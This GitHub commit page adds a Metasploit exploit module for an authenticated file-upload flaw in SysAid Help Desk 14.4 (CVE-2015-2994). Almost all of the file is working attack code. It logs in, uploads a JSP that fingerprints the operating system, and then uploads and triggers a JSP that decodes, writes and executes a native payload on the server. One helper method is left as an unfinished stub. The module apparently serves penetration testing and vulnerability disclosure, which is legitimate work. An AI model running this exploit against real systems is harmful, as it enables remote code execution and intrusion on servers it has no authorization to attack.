Skip to content

Commit 193b7bc

Browse files
author
Pedro Ribeiro
committed
Create sysaid_auth_file_upload.rb
1 parent 766d726 commit 193b7bc

File tree

1 file changed

+282
-0
lines changed

1 file changed

+282
-0
lines changed
Lines changed: 282 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,282 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in SysAid Help Desk.
20+
The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
21+
which does not handle correctly directory traversal sequences and does not
22+
enforce file extension restrictions. You need to have an administrator account,
23+
but there is a Metasploit auxiliary module that can create one for you.
24+
This module has been tested in SysAid v14.4 in both Linux and Windows.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', 'CVE-2015-2994' ],
34+
[ 'OSVDB', 'TODO' ],
35+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
36+
[ 'URL', 'TODO_FULLDISC_URL' ]
37+
],
38+
'DefaultOptions' => { 'WfsDelay' => 5 },
39+
'Privileged' => false,
40+
'Platform' => %w{ linux win },
41+
'Targets' =>
42+
[
43+
[ 'Automatic', { } ],
44+
[ 'SysAid Help Desk v14.4 / Linux',
45+
{
46+
'Platform' => 'linux',
47+
'Arch' => ARCH_X86
48+
}
49+
],
50+
[ 'SysAid Help Desk v14.4 / Windows',
51+
{
52+
'Platform' => 'win',
53+
'Arch' => ARCH_X86
54+
}
55+
]
56+
],
57+
'DefaultTarget' => 0,
58+
'DisclosureDate' => 'Jun 3 2015'))
59+
60+
register_options(
61+
[
62+
OptPort.new('RPORT', [true, 'The target port', 8080]),
63+
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
64+
OptString.new('USERNAME', [true, 'The username to login as']),
65+
OptString.new('PASSWORD', [true, 'Password for the specified username']),
66+
], self.class)
67+
end
68+
69+
70+
def check
71+
res = send_request_cgi({
72+
'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
73+
'method' => 'GET'
74+
})
75+
if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/
76+
major = $1.to_i
77+
minor = $2.to_i
78+
if major == 14 && minor == 4
79+
return Exploit::CheckCode::Appears
80+
elsif major > 14
81+
return Exploit::CheckCode::Safe
82+
end
83+
end
84+
# Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
85+
return Exploit::CheckCode::Unknown
86+
end
87+
88+
89+
def authenticate
90+
res = send_request_cgi({
91+
'uri' => normalize_uri(datastore['TARGETURI'], 'Login.jsp'),
92+
'method' => 'POST',
93+
'vars_post' => {
94+
'userName' => datastore['USERNAME'],
95+
'password' => datastore['PASSWORD']
96+
}
97+
})
98+
if res && res.code == 302 && res.get_cookies
99+
return res.get_cookies
100+
else
101+
return nil
102+
end
103+
end
104+
105+
106+
def upload_payload(payload, is_exploit)
107+
post_data = Rex::MIME::Message.new
108+
post_data.add_part(payload,
109+
"application/octet-stream", 'binary',
110+
"form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")
111+
112+
data = post_data.to_s
113+
114+
if is_exploit
115+
print_status("#{peer} - Uploading payload...")
116+
end
117+
res = send_request_cgi({
118+
'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
119+
'method' => 'POST',
120+
'cookie' => @cookie,
121+
'data' => data,
122+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
123+
'vars_get' => { 'isUpload' => 'true' }
124+
})
125+
126+
if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
127+
if is_exploit
128+
print_status("#{peer} - Payload uploaded successfully")
129+
end
130+
return $1
131+
else
132+
return nil
133+
end
134+
end
135+
136+
137+
def pick_target
138+
return target if target.name != 'Automatic'
139+
140+
print_status("#{peer} - Determining target")
141+
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
142+
url = upload_payload(os_finder_payload, false)
143+
144+
res = send_request_cgi({
145+
'uri' => normalize_uri(datastore['TARGETURI'], url),
146+
'method' => 'GET',
147+
'cookie' => @cookie,
148+
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
149+
})
150+
151+
if res && res.code == 200
152+
if res.body.to_s =~ /Linux/
153+
register_files_for_cleanup('webapps/' + url)
154+
return targets[1]
155+
elsif res.body.to_s =~ /Windows/
156+
register_files_for_cleanup('root/' + url)
157+
return targets[2]
158+
end
159+
end
160+
161+
return nil
162+
end
163+
164+
165+
def generate_jsp_payload
166+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
167+
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
168+
exe = generate_payload_exe(opts)
169+
base64_exe = Rex::Text.encode_base64(exe)
170+
171+
native_payload_name = rand_text_alpha(rand(6)+3)
172+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
173+
174+
var_raw = rand_text_alpha(rand(8) + 3)
175+
var_ostream = rand_text_alpha(rand(8) + 3)
176+
var_buf = rand_text_alpha(rand(8) + 3)
177+
var_decoder = rand_text_alpha(rand(8) + 3)
178+
var_tmp = rand_text_alpha(rand(8) + 3)
179+
var_path = rand_text_alpha(rand(8) + 3)
180+
var_proc2 = rand_text_alpha(rand(8) + 3)
181+
182+
if @my_target['Platform'] == 'linux'
183+
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
184+
chmod = %Q|
185+
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
186+
Thread.sleep(200);
187+
|
188+
189+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
190+
cleanup = %Q|
191+
Thread.sleep(200);
192+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
193+
|
194+
else
195+
chmod = ''
196+
cleanup = ''
197+
end
198+
199+
jsp = %Q|
200+
<%@page import="java.io.*"%>
201+
<%@page import="sun.misc.BASE64Decoder"%>
202+
<%
203+
try {
204+
String #{var_buf} = "#{base64_exe}";
205+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
206+
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
207+
208+
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
209+
String #{var_path} = #{var_tmp}.getAbsolutePath();
210+
211+
BufferedOutputStream #{var_ostream} =
212+
new BufferedOutputStream(new FileOutputStream(#{var_path}));
213+
#{var_ostream}.write(#{var_raw});
214+
#{var_ostream}.close();
215+
#{chmod}
216+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
217+
#{cleanup}
218+
} catch (Exception e) {
219+
}
220+
%>
221+
|
222+
223+
jsp = jsp.gsub(/\n/, '')
224+
jsp = jsp.gsub(/\t/, '')
225+
jsp = jsp.gsub(/\x0d\x0a/, "")
226+
jsp = jsp.gsub(/\x0a/, "")
227+
228+
return jsp
229+
end
230+
231+
232+
def exploit_native
233+
234+
235+
return jsp_name
236+
end
237+
238+
239+
def exploit
240+
@cookie = authenticate
241+
if not @cookie
242+
print_error("#{peer} - Unable to authenticate with the provided credentials.")
243+
return
244+
else
245+
print_status("#{peer} - Authentication was successful with the provided credentials.")
246+
end
247+
248+
@my_target = pick_target
249+
if @my_target.nil?
250+
print_error("#{peer} - Unable to select a target, we must bail.")
251+
return
252+
else
253+
print_status("#{peer} - Selected target #{@my_target.name}")
254+
end
255+
256+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
257+
# Fail if this is the case and ask the user to select an appropriate payload.
258+
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
259+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
260+
end
261+
262+
jsp_payload = generate_jsp_payload
263+
jsp_path = upload_payload(jsp_payload, true)
264+
if not jsp_path
265+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
266+
end
267+
268+
if @my_target == targets[1]
269+
register_files_for_cleanup('webapps/' + jsp_path)
270+
else
271+
register_files_for_cleanup('root/' + jsp_path)
272+
end
273+
274+
print_status("#{peer} - Executing payload...")
275+
send_request_cgi({
276+
'uri' => normalize_uri(datastore['TARGETURI'], jsp_path),
277+
'method' => 'GET',
278+
'cookie' => @cookie,
279+
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
280+
})
281+
end
282+
end

0 commit comments

Comments
 (0)